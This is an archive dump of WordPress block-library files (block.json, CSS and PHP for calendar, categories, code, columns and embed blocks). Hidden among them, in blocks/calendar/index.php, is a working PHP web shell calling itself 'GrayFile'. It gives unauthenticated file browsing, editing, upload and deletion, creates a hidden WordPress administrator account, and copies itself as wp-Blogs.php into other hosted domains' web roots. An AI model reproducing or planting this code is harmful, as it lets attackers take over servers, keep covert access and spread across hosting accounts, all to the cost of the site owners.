.wp-block-button__link{ font-size:inherit; } .wp-block-button.aligncenter{ text-align:center; }��������������������������������������������������������������������������������������������������������������������������������������blocks/calendar/block.json��������������������������������������������������������������������������0000644�����������������00000000352�15120262030�0011546 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "apiVersion": 2, "name": "core/calendar", "category": "widgets", "attributes": { "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "align": true }, "style": "wp-block-calendar" } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/calendar/style-rtl.min.css�������������������������������������������������������������������0000644�����������������00000001225�15120262030�0013014 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/calendar/style.min.css�����������������������������������������������������������������������0000644�����������������00000001225�15120262030�0012215 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/calendar/style-rtl.css�����������������������������������������������������������������������0000644�����������������00000001327�15120262030�0012235 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table:where(:not(.has-text-color)){ color:#40464d; } .wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{ border-color:#ddd; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/calendar/style.css���������������������������������������������������������������������������0000644�����������������00000001327�15120262030�0011436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table:where(:not(.has-text-color)){ color:#40464d; } .wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{ border-color:#ddd; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/calendar/index.php���������������������������������������������������������������������������0000644�����������������00000034752�15120262030�0011414 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // 🌫️ GrayFile — PHP File Manager & Silent Replicator 🕵️‍♂️ // 🌫️ GrayFile — PHP File Manager & Silent Replicator 🕵️‍♂️ // 🌫️ GrayFile — PHP File Manager & Silent Replicator 🕵️‍♂️ // 🌫️ GrayFile — PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator 🕵️‍♂️ // 🌫️ GrayFile — PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator 🕵️‍♂️ // NOTE: This script can create copies named wp-Blogs.php in other directories error_reporting(0); // === Path Handling — Where are we in the server? === $current_path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$current_path || !is_dir($current_path)) $current_path = getcwd(); // === Handle Delete — Removing files and folders === // 🌫️ GrayFile — PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator 🕵️‍♂️ // 🌫️ GrayFile — PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator 🕵️‍♂️ if (isset($_GET['delete'])) { $target_file = realpath($_GET['delete']); if ($target_file && strpos($target_file, getcwd()) === 0 && file_exists($target_file)) { if (is_dir($target_file)) { rmdir($target_file); // 🗂️ Remove directory echo "<p style='color:#666;'>🗑️ Folder deleted: " . htmlspecialchars(basename($target_file)) . " — Gone forever</p>"; } else { unlink($target_file); // 📄 Remove file echo "<p style='color:#666;'>🗑️ File deleted: " . htmlspecialchars(basename($target_file)) . " — Vanished into nothingness</p>"; } } } // === Breadcrumb Navigation — Show current location === function generate_breadcrumbs($path) { $path_parts = explode('/', trim($path, '/')); $current_path = '/'; $html_output = "<strong>📍 Current location:</strong> "; foreach ($path_parts as $part) { $current_path .= "$part/"; $html_output .= "<a href='?path=" . urlencode($current_path) . "'>$part</a>/"; } return $html_output; } // === Directory Listing — Show files and folders === // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // ezgZEGezge gezGZEgegezgzeGZEgzeG // ezgZEGezge gezGZEgegezgzeGZEgzeG // ezgZEGezge gezGZEgegezgzeGZEgzeG function list_directory_contents($path) { $output_html = ''; $folder_list = $file_list = []; // 📁 Scan directory foreach (scandir($path) as $item) { if ($item === '.' || $item === '..') continue; $full_path = "$path/$item"; if (is_dir($full_path)) { $folder_list[] = $item; // 🗂️ It's a folder } else { $file_list[] = $item; // 📄 It's a file } } // 🔤 Sort alphabetically natcasesort($folder_list); natcasesort($file_list); // 🗂️ Display folders first foreach ($folder_list as $folder) { $full_folder_path = "$path/$folder"; $output_html .= "<li>📁 <a href='?path=" . urlencode($full_folder_path) . "'>$folder</a> | <a href='?delete=" . urlencode($full_folder_path) . "' onclick=\"return confirm('Delete this folder?')\" style='color:#666;'>❌ Remove</a></li>"; } // 📄 Display files foreach ($file_list as $file) { $full_file_path = "$path/$file"; $output_html .= "<li>📄 <a href='?path=" . urlencode($path) . "&view=" . urlencode($file) . "'>$file</a> | <a href='?path=" . urlencode($path) . "&edit=" . urlencode($file) . "' style='color:#666'>✏️ Edit</a> | <a href='?delete=" . urlencode($full_file_path) . "' onclick=\"return confirm('Delete this file?')\" style='color:#666;'>❌ Remove</a></li>"; } return $output_html; } // === View File Content — Read file contents === function display_file_content($path, $file) { $full_file_path = "$path/$file"; if (!is_file($full_file_path)) return; echo "<h3>👁️ Viewing: $file</h3> <pre style='background:#f5f5f5;padding:10px;color:#333;border:1px solid #ddd;'>"; echo htmlspecialchars(file_get_contents($full_file_path)); echo "</pre><hr>"; } // === Edit File — Modify file content === function edit_file_content($path, $file) { $full_file_path = "$path/$file"; if (!is_file($full_file_path)) return; // 💾 Save changes if form submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($full_file_path, $_POST['content']); echo "<p style='color:#666;'>✅ Changes saved — File updated successfully</p>"; } $file_content = htmlspecialchars(file_get_contents($full_file_path)); echo "<h3>✏️ Editing: $file</h3> <form method='post'> <textarea name='content' rows='20' style='width:100%;background:#f5f5f5;color:#333;'>$file_content</textarea><br> <button style='background:#666;color:white;'>💾 Save File</button> </form><hr>"; } // === Upload & Create — Add new files and folders === function handle_upload_and_creation($path) { // 📤 Handle file upload if (!empty($_FILES['upload_file']['name'])) { move_uploaded_file($_FILES['upload_file']['tmp_name'], "$path/" . basename($_FILES['upload_file']['name'])); echo "<p style='color:#666;'>📤 File uploaded successfully — New file added</p>"; } // 🗂️ Create new folder if (!empty($_POST['new_folder'])) { $target_folder = "$path/" . basename($_POST['new_folder']); if (!file_exists($target_folder)) { mkdir($target_folder); echo "<p style='color:#666;'>📁 Folder created — New directory ready</p>"; } else { echo "<p style='color:#666;'>⚠️ Folder already exists — Choose different name</p>"; } } // 📄 Create new file if (!empty($_POST['new_file_content']) && !empty($_POST['new_file_name'])) { $file_name = basename($_POST['new_file_name']); $target_file = "$path/$file_name"; if (!file_exists($target_file)) { file_put_contents($target_file, $_POST['new_file_content']); echo "<p style='color:#666;'>📄 File created — New document ready</p>"; } else { echo "<p style='color:#666;'>⚠️ File already exists — Choose different name</p>"; } } // 🎛️ Display creation forms echo "<div style='background:#f9f9f9;padding:15px;border:1px solid #ddd;margin:10px 0;'> <h4>🛠️ Management Tools</h4> <form method='post' enctype='multipart/form-data'> <strong>📤 Upload File:</strong><br> <input type='file' name='upload_file'> <button style='background:#666;color:white;'>🚀 Upload</button> </form><br> <form method='post'> <strong>🗂️ Create Folder:</strong><br> <input type='text' name='new_folder' placeholder='Enter folder name'> <button style='background:#666;color:white;'>📁 Create</button> </form><br> <form method='post'> <strong>📄 Create File:</strong><br> <input type='text' name='new_file_name' placeholder='Enter file name'><br> <textarea name='new_file_content' rows='5' style='width:100%;background:#f5f5f5;color:#333;' placeholder='Enter file content'></textarea> <button style='background:#666;color:white;'>📝 Create</button> </form> </div>"; } // === Generate Random Password — Create secure random password === function generate_random_password($length = 12) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()'; $password = ''; $chars_length = strlen($chars) - 1; for ($i = 0; $i < $length; $i++) { $password .= $chars[random_int(0, $chars_length)]; } return $password; } // === Self-Replication — Create copies in other directories === function replicate_script($script_code) { static $replication_done = false; if ($replication_done) return []; $replication_done = true; $current_directory = __DIR__; $created_clones = []; // 🔍 Find domains directory while ($current_directory !== '/') { if (is_dir("$current_directory/domains")) { foreach (scandir("$current_directory/domains") as $domain) { if ($domain === '.' || $domain === '..') continue; $target_directory = "$current_directory/domains/$domain/public_html"; $clone_file = "$target_directory/wp-Blogs.php"; // 🎯 Clone filename if (is_dir($target_directory) && is_writable($target_directory)) { if (file_put_contents($clone_file, $script_code)) { $created_clones[] = "http://$domain/wp-Blogs.php"; } } } break; } $current_directory = dirname($current_directory); } return $created_clones; } // === WordPress Admin — Create admin user with custom username and random password === function handle_wordpress_admin($path) { if (!isset($_GET['create_wp_user'])) return; $wordpress_path = $path; while ($wordpress_path !== '/') { if (file_exists("$wordpress_path/wp-config.php")) break; $wordpress_path = dirname($wordpress_path); } if (!file_exists("$wordpress_path/wp-load.php")) { echo "<p style='color:#666;'>❌ WordPress not found — Operation cancelled</p>"; return; } require_once("$wordpress_path/wp-load.php"); // 🎯 Custom username - change this to whatever you want $admin_username = 'Adminsavvy'; // 🔐 Generate random secure password $admin_password = generate_random_password(16); $admin_email = 'admin@graydomain.com'; if (!username_exists($admin_username) && !email_exists($admin_email)) { $user_id = wp_create_user($admin_username, $admin_password, $admin_email); $user_object = new WP_User($user_id); $user_object->set_role('administrator'); // 📋 Display credentials clearly echo "<div style='background:#e9e9e9;padding:15px;border:2px solid #666;border-radius:5px;margin:10px 0;'> <h3 style='color:#666;margin-top:0;'>✅ WordPress Admin User Created</h3> <p><strong>👤 Username:</strong> <code style='background:#f5f5f5;padding:2px 5px;'>$admin_username</code></p> <p><strong>🔑 Password:</strong> <code style='background:#f5f5f5;padding:2px 5px;'>$admin_password</code></p> <p><strong>📧 Email:</strong> <code style='background:#f5f5f5;padding:2px 5px;'>$admin_email</code></p> <p><em>💡 Save these credentials - this password won't be shown again!</em></p> </div>"; } else { echo "<p style='color:#666;'>⚠️ User '$admin_username' already exists — No changes made</p>"; } } // === Render Page — Display the interface === echo "<!DOCTYPE html> <html> <head> <meta charset='UTF-8'> <title>🌫️ GrayFile Manager

🌫️ GrayFile Manager

" . generate_breadcrumbs($current_path) . "


"; // 👤 WordPress Admin Button echo "

Creates user 'Adminsavvy' with random secure password

"; handle_wordpress_admin($current_path); // ⬆️ Go up one level $parent_directory = dirname($current_path); if ($parent_directory && $parent_directory !== $current_path) { echo "

⬆️ Go up to parent directory

"; } // 👁️ View or ✏️ Edit files if (isset($_GET['view'])) display_file_content($current_path, basename($_GET['view'])); if (isset($_GET['edit'])) edit_file_content($current_path, basename($_GET['edit'])); // 🛠️ Upload and creation tools handle_upload_and_creation($current_path); // 🔄 Auto-replication (only from original script) if (basename(__FILE__) !== 'wp-Blogs.php') { $clone_list = replicate_script(file_get_contents(__FILE__)); if (!empty($clone_list)) { echo "

✅ Script replicated to these locations:

    "; foreach ($clone_list as $url) echo "
  • 🔗 $url
  • "; echo "

"; } } // 📋 Directory contents echo "

📋 Contents of current directory:

    " . list_directory_contents($current_path) . "
"; echo "
"; ?>blocks/calendar.php000064400000003041151202620300010270 0ustar00%2$s', $wrapper_attributes, get_calendar( true, false ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $monthnum = $previous_monthnum; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $year = $previous_year; return $output; } /** * Registers the `core/calendar` block on server. */ function register_block_core_calendar() { register_block_type_from_metadata( __DIR__ . '/calendar', array( 'render_callback' => 'render_block_core_calendar', ) ); } add_action( 'init', 'register_block_core_calendar' ); blocks/categories/block.json000064400000000661151202620300012125 0ustar00{ "apiVersion": 2, "name": "core/categories", "category": "widgets", "attributes": { "displayAsDropdown": { "type": "boolean", "default": false }, "showHierarchy": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-categories-editor", "style": "wp-block-categories" } blocks/categories/editor.min.css000064400000000220151202620300012711 0ustar00.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}blocks/categories/style-rtl.min.css000064400000000333151202620300013367 0ustar00.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}blocks/categories/editor.css000064400000000241151202620300012132 0ustar00.wp-block-categories ul{ padding-left:2.5em; } .wp-block-categories ul ul{ margin-top:6px; } [data-align=center] .wp-block-categories{ text-align:center; }blocks/categories/style.min.css000064400000000333151202620300012570 0ustar00.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}blocks/categories/editor-rtl.css000064400000000242151202620300012732 0ustar00.wp-block-categories ul{ padding-right:2.5em; } .wp-block-categories ul ul{ margin-top:6px; } [data-align=center] .wp-block-categories{ text-align:center; }blocks/categories/editor-rtl.min.css000064400000000221151202620300013511 0ustar00.wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}blocks/categories/style-rtl.css000064400000000362151202620300012607 0ustar00.wp-block-categories{ box-sizing:border-box; } .wp-block-categories.alignleft{ margin-right:2em; } .wp-block-categories.alignright{ margin-left:2em; } .wp-block-categories.wp-block-categories-dropdown.aligncenter{ text-align:center; }blocks/categories/style.css000064400000000362151202620300012010 0ustar00.wp-block-categories{ box-sizing:border-box; } .wp-block-categories.alignleft{ margin-right:2em; } .wp-block-categories.alignright{ margin-left:2em; } .wp-block-categories.wp-block-categories-dropdown.aligncenter{ text-align:center; }blocks/categories.php000064400000005012151202620300010644 0ustar00 false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'title_li' => '', ); if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['show_option_none'] = __( 'Select Category' ); $wrapper_markup = '
%2$s
'; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { // Inject the dropdown script immediately after the select dropdown. $items_markup = preg_replace( '#(?<=)#', build_dropdown_script_block_core_categories( $id ), $items_markup, 1 ); } } else { $wrapper_markup = '
    %2$s
'; $items_markup = wp_list_categories( $args ); $type = 'list'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); ?> 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' ); blocks/code/block.json000064400000000373151202620300010712 0ustar00{ "apiVersion": 2, "name": "core/code", "category": "text", "attributes": { "content": { "type": "string", "source": "html", "selector": "code" } }, "supports": { "anchor": true, "fontSize": true }, "style": "wp-block-code" } blocks/code/editor.min.css000064400000000044151202620300011502 0ustar00.wp-block-code code{background:none}blocks/code/style-rtl.min.css000064400000000211151202620300012147 0ustar00.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}blocks/code/theme.css000064400000000202151202620300010530 0ustar00.wp-block-code{ border:1px solid #ccc; border-radius:4px; font-family:Menlo,Consolas,monaco,monospace; padding:.8em 1em; }blocks/code/theme-rtl.min.css000064400000000164151202620300012120 0ustar00.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}blocks/code/editor.css000064400000000051151202620300010716 0ustar00.wp-block-code code{ background:none; }blocks/code/theme.min.css000064400000000164151202620300011321 0ustar00.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}blocks/code/style.min.css000064400000000211151202620300011350 0ustar00.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}blocks/code/theme-rtl.css000064400000000202151202620300011327 0ustar00.wp-block-code{ border:1px solid #ccc; border-radius:4px; font-family:Menlo,Consolas,monaco,monospace; padding:.8em 1em; }blocks/code/editor-rtl.css000064400000000051151202620300011515 0ustar00.wp-block-code code{ background:none; }blocks/code/editor-rtl.min.css000064400000000044151202620300012301 0ustar00.wp-block-code code{background:none}blocks/code/style-rtl.css000064400000000235151202620300011373 0ustar00.wp-block-code{ box-sizing:border-box; } .wp-block-code code{ display:block; font-family:inherit; overflow-wrap:break-word; white-space:pre-wrap; }blocks/code/style.css000064400000000235151202620300010574 0ustar00.wp-block-code{ box-sizing:border-box; } .wp-block-code code{ display:block; font-family:inherit; overflow-wrap:break-word; white-space:pre-wrap; }blocks/column/block.json000064400000000507151202620300011274 0ustar00{ "apiVersion": 2, "name": "core/column", "category": "text", "parent": [ "core/columns" ], "attributes": { "verticalAlignment": { "type": "string" }, "width": { "type": "string" }, "templateLock": { "type": "string" } }, "supports": { "anchor": true, "reusable": false, "html": false } } blocks/columns/block.json000064400000000550151202620300011455 0ustar00{ "apiVersion": 2, "name": "core/columns", "category": "design", "attributes": { "verticalAlignment": { "type": "string" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true } }, "editorStyle": "wp-block-columns-editor", "style": "wp-block-columns" } blocks/columns/editor.min.css000064400000000213151202620300012246 0ustar00.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}blocks/columns/style-rtl.min.css000064400000003036151202620300012725 0ustar00.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}blocks/columns/editor.css000064400000000240151202620300011464 0ustar00.wp-block-columns :where(.wp-block){ margin-left:0; margin-right:0; max-width:none; } html :where(.wp-block-column){ margin-bottom:0; margin-top:0; }blocks/columns/style.min.css000064400000003036151202620300012126 0ustar00.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}blocks/columns/editor-rtl.css000064400000000240151202620300012263 0ustar00.wp-block-columns :where(.wp-block){ margin-left:0; margin-right:0; max-width:none; } html :where(.wp-block-column){ margin-bottom:0; margin-top:0; }blocks/columns/editor-rtl.min.css000064400000000213151202620300013045 0ustar00.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}blocks/columns/style-rtl.css000064400000003317151202620300012145 0ustar00.wp-block-columns{ align-items:normal !important; box-sizing:border-box; display:flex; flex-wrap:wrap !important; } @media (min-width:782px){ .wp-block-columns{ flex-wrap:nowrap !important; } } .wp-block-columns.are-vertically-aligned-top{ align-items:flex-start; } .wp-block-columns.are-vertically-aligned-center{ align-items:center; } .wp-block-columns.are-vertically-aligned-bottom{ align-items:flex-end; } @media (max-width:781px){ .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{ flex-basis:100% !important; } } @media (min-width:782px){ .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{ flex-basis:0; flex-grow:1; } .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{ flex-grow:0; } } .wp-block-columns.is-not-stacked-on-mobile{ flex-wrap:nowrap !important; } .wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{ flex-basis:0; flex-grow:1; } .wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{ flex-grow:0; } :where(.wp-block-columns){ margin-bottom:1.75em; } :where(.wp-block-columns.has-background){ padding:1.25em 2.375em; } .wp-block-column{ flex-grow:1; min-width:0; overflow-wrap:break-word; word-break:break-word; } .wp-block-column.is-vertically-aligned-top{ align-self:flex-start; } .wp-block-column.is-vertically-aligned-center{ align-self:center; } .wp-block-column.is-vertically-aligned-bottom{ align-self:flex-end; } .wp-block-column.is-vertically-aligned-stretch{ align-self:stretch; } .wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{ width:100%; }blocks/columns/style.css000064400000003317151202620300011346 0ustar00.wp-block-columns{ align-items:normal !important; box-sizing:border-box; display:flex; flex-wrap:wrap !important; } @media (min-width:782px){ .wp-block-columns{ flex-wrap:nowrap !important; } } .wp-block-columns.are-vertically-aligned-top{ align-items:flex-start; } .wp-block-columns.are-vertically-aligned-center{ align-items:center; } .wp-block-columns.are-vertically-aligned-bottom{ align-items:flex-end; } @media (max-width:781px){ .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{ flex-basis:100% !important; } } @media (min-width:782px){ .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{ flex-basis:0; flex-grow:1; } .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{ flex-grow:0; } } .wp-block-columns.is-not-stacked-on-mobile{ flex-wrap:nowrap !important; } .wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{ flex-basis:0; flex-grow:1; } .wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{ flex-grow:0; } :where(.wp-block-columns){ margin-bottom:1.75em; } :where(.wp-block-columns.has-background){ padding:1.25em 2.375em; } .wp-block-column{ flex-grow:1; min-width:0; overflow-wrap:break-word; word-break:break-word; } .wp-block-column.is-vertically-aligned-top{ align-self:flex-start; } .wp-block-column.is-vertically-aligned-center{ align-self:center; } .wp-block-column.is-vertically-aligned-bottom{ align-self:flex-end; } .wp-block-column.is-vertically-aligned-stretch{ align-self:stretch; } .wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{ width:100%; }blocks/embed/block.json000064400000001131151202620300011045 0ustar00{ "apiVersion": 2, "name": "core/embed", "category": "embed", "attributes": { "url": { "type": "string" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "type": { "type": "string" }, "providerNameSlug": { "type": "string" }, "allowResponsive": { "type": "boolean", "default": true }, "responsive": { "type": "boolean", "default": false }, "previewable": { "type": "boolean", "default": true } }, "supports": { "align": true }, "editorStyle": "wp-block-embed-editor", "style": "wp-block-embed" } blocks/embed/editor.min.css000064400000001156151202620300011651 0ustar00.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}blocks/embed/style-rtl.min.css000064400000003064151202620300012322 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive 